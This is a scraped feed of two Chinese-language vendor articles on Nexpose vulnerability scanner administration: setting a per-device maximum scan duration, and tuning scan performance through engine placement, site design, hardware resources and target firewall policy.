0em;margin-bottom: 15px;"><strong><span style="font-size: 16px;color: rgb(233, 95, 38);">4：</span></strong><span style="font-size: 16px;">要确认每个设备的最大扫描持续时间设置正确，请执行以下命令：</span></p><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><span style="font-size: 16px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">get</span> <span class="code-snippet__selector-tag">property</span> <span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.rapid7</span><span class="code-snippet__selector-class">.nexpose</span><span class="code-snippet__selector-class">.scanTargetMonitor</span><span class="code-snippet__selector-class">.networkNode</span><span class="code-snippet__selector-class">.timeLimit</span></span></code></pre></section><section style="text-align: left;margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;">若要删除每个设备的最大扫描持续时间并恢复到未绑定行为，请执行以下命令：</span><br/></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">delete</span> <span class="code-snippet__selector-tag">custom</span> <span class="code-snippet__selector-tag">property</span> <span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.rapid7</span><span class="code-snippet__selector-class">.nexpose</span><span class="code-snippet__selector-class">.scanTargetMonitor</span><span class="code-snippet__selector-class">.networkNode</span><span class="code-snippet__selector-class">.timeLimit</span></span></code></pre></section><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><span style="font-size: 16px;"></span><br/></p><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 17px;"><strong>在分布式引擎中配置</strong></span></p><section style="text-align: left;margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;">可以在每个分布式扫描引擎上设置自定义属性。使用 SSH 或首选方法访问计算机：</span></section><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;"> 1：</span></strong></span><span style="font-size: 16px;">在&#34;扫描引擎&#34;安装文件夹中找到该文件，以下是默认安装位置：CustomEnvironment.properties</span></p><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><strong><em><span style="font-size: 16px;">Linux：/opt/rapid7/nexpose/nsc</span></em></strong></p><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><em><strong><span style="font-size: 16px;">Windows：C:\Program Files\rapid7\nexpose\nsc</span></strong></em><span style="font-size: 16px;"></span></p><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><strong><span style="font-size: 15px;color: rgb(233, 95, 38);"><em><span style="color: rgb(233, 95, 38);font-size: 15px;text-decoration: underline;">Tips：如果该文件不存在，请使用文本编辑器创建该文件：CustomEnvironment.properties</span></em></span></strong></p><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">2：</span></strong></span><span style="font-size: 16px;">将此属性添加到文件<strong>CustomEnvironment.properties</strong>中：</span></p><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><span style="font-size: 16px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">com.rapid7.nexpose.scanTargetMonitor.networkNode.timeLimit=1800000</span></code></pre></section><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><span style="font-size: 16px;">在此示例中，1800000 是一个以毫秒为单位的值，即 30 分钟。</span><br/></p><p style="text-align: left;text-indent: 0em;margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">3：</span></strong></span><span style="font-size: 16px;">使用所需值配置此属性后，重新启动扫描引擎服务，以便更改生效。</span></p>



<p><a href="https://docs.rapid7.com/nexpose/set-maximum-scan-duration-per-device/">阅读原文</a></p>
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      <pubDate>Tue, 03 Nov 2020 10:00:00 +0800</pubDate>
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      <title>关于Nexpose扫描效率和性能调优的建议</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484456&amp;idx=1&amp;sn=e698122c0bd1ff7198b42defffa5d2d4</link>
      <description>关于Nexpose扫描效率的提升，除了自定义“Scan Templates”中的相关参数之外，您还可以从其他方面进行一些操作来提高扫描性能和效率。</description>
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原创 <span>Rapid7</span> <span>2020-11-02 14:02</span> <span style="display: inline-block;"></span>
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<p>关于Nexpose扫描效率的提升，除了自定义“Scan Templates”中的相关参数之外，您还可以从其他方面进行一些操作来提高扫描性能和效率。</p>
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<img src="https://wechat2rss.xlab.app/img-proxy/?k=11ccf2ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFVohhhKu4NVO4rwjoOc9P33kibZAkCyTMG1HVGv0ooSiamTD5FxxwS21ryze9uj8RTGqFYNO0F4jJfQ%2F0%3Fwx_fmt%3Djpeg"/>
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<p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;">关于Nexpose扫描效率的提升，除了自定义“Scan Templates”中的相关参数之外，您还可以从其他方面进行一些操作来提高扫描性能和效率。</span></p><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 17px;"><strong><span style="font-size: 17px;color: rgb(233, 95, 38);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">调整“Scan Engine”的部署结构</span></strong><br/></span></section><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">在网络带宽足够的前提下，添加新的扫描引擎或者引擎池，来共同分担同一个扫描任务的工作量，甚至是整个漏洞管理平台的工作量，能够节省大量的扫描时间，且可以提高扫描的准确性。而且不止扫描引擎的数量，扫描引擎的的放置位置也是十分重要的，通常网络中都使用防火墙等网络设备来拦截和过滤危险的流量，甚至是在交换机中都有ACL，将扫描引擎放置在合适的那一侧，对于漏洞扫描工作是很有帮助的。具体请参阅管理员指南中的“<strong>Distribute Scan Engines strategically</strong>”主题。<br/></span></p><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 17px;"><strong><span style="font-size: 17px;color: rgb(233, 95, 38);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">设计 &#34;Site&#34; 和配置</span></strong></span></section><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">根据Site内的资产进行配置调整和优化，尝试增加Site数量并缩小Site中的资产体积。尝试将不同类型的资产划分到不同的Site（可以提前或者定期进行资产发现，并结合动态资产组功能），尝试将不同类型的Site与对应的&#34;Scan Templates&#34;配对，并对Site的扫描计划进行合理的调整，避免带宽和性能使用的冲突。<br/></span></p><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 17px;"><strong><span style="font-size: 17px;color: rgb(233, 95, 38);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">提升资源</span></strong></span></section><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">资源主要分为两大类<br/></span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="font-weight: bold;font-size: 16px;"><p style="margin-bottom: 15px;"><span style="font-size: 16px;"><strong>网络带宽</strong></span></p></li><li style="font-weight: bold;font-size: 16px;"><p style="margin-bottom: 15px;"><span style="font-size: 16px;"><strong>主机的RAM和CPU容量</strong></span></p></li></ul><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">如果您的组织有足够的能力和资源，可以直接的增加网络带宽。如果没有，请合理的安排每个Site的扫描计划，以减少扫描时可能的带宽冲突及网络拥塞（办公网对互联网端的扫描要非常慎重，因为这会占用上网流量和带宽）。</span></p><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;">增加主机的RAM和CPU容量相对简单许多。在&#34;<strong>installation guide</strong>&#34;上列出了最低的系统要求。您正在使用的系统可能已经满足了这些要求，但如果您需要大量的提高扫描线程的最大数量，主机系统的运行状态将会变慢和变得不稳定。这种现象通常表示当前扫描任务的工作强度已经超过了主机的RAM及CPU的负荷。</span></p><section style="text-align: center;margin-bottom: 15px;"><img class="rich_pages" data-ratio="0.3856353591160221" data-s="300,640" style="" data-type="png" data-w="1810" src="https://wechat2rss.xlab.app/img-proxy/?k=32e64553&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVohhhKu4NVO4rwjoOc9P33ib2FCw1FZMER8pg916kscbu8M5BOnfq9QYyOiaBRrbqRrJJM5ZiblTpMw%2F640%3Fwx_fmt%3Dpng"/></section><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">一定要遵守扫描引擎放置位置的最佳方法，请参阅管理员指南中的“<strong>Distribute Scan Engines strategically</strong>”主题，把相关引擎部署在合适的位置将给工作来来巨大的便利，并且能给您减少很多网络限制带来的困扰。<br/></span></p><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 17px;"><strong><span style="font-size: 17px;color: rgb(233, 95, 38);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">使您的环境&#34;Scan-friendly&#34;</span></strong><br/></span></section><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">任何架构不错的网络环境都具有严格和有效的安全机制，例如防火墙。Nexpose通常会被这些设备判定为敌对目标或者攻击者，然后阻止Nexpose与扫描目标之间的通讯。<br/></span></p><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">如果在您目前的环境中让Nexpose与安全机制两者兼得，且网络不会面临风险问题或者违反组织的安全策略。</span><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">那么，恭喜您，您的Nexpose的扫描效率和准确性将会得到提升。</span><br/></p><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">例如，在扫描Windows7系统时，可以采取一些简单的措施来提高效率：<br/></span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="margin-bottom: 15px;"><span style="font-size: 16px;">将Nexpose加入本地域环境</span></p></li><li><p style="margin-bottom: 15px;"><span style="font-size: 16px;">将合适的域登录凭证提供给Nexpose</span></p></li><li><p style="margin-bottom: 15px;"><span style="font-size: 16px;">配置Windows7系统防火墙（关闭），使Nexpose能够连接到Windows系统进行补丁检查等</span></p></li><li><p style="margin-bottom: 15px;"><span style="font-size: 16px;">检查和编辑域策略，使Nexpose可以访问Windows7系统</span></p></li></ul><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 17px;"><strong><span style="font-size: 17px;color: rgb(233, 95, 38);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">开通目标防火墙策略</span></strong><br/></span></section><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">您可以在扫描时开通目标防火墙策略，以允许Nexpose对网络中的这些目标进行深度的扫描。<br/></span></p><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Microsoft Windows XP SP3、Vista、Server 2003</span>和<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Server 2008的系统防火墙默认会阻止 TCP/IP数据包。打开此项设置当然是明智且安全的做法，但是，严格且封闭的防火墙会限制Nexpose的扫描行为和结果。开通防火墙策略后，Nexpose在扫描时可以根据修补程序或合规性检查的需要访问操作系统上与安全相关的关键数据。</span><br/></span></p><p style="margin-bottom: 15px;text-indent: 2em;"><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">要了解如何在不禁用Windows防火墙的情况下且与外部的应用程序保持良好的通讯，请查阅Microsoft官网中各个系统的文档。通常，只有Windows 域管理员或者本地管理员才有足够的权限编辑防火墙的策略。</span></p>



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      <pubDate>Mon, 02 Nov 2020 14:02:00 +0800</pubDate>
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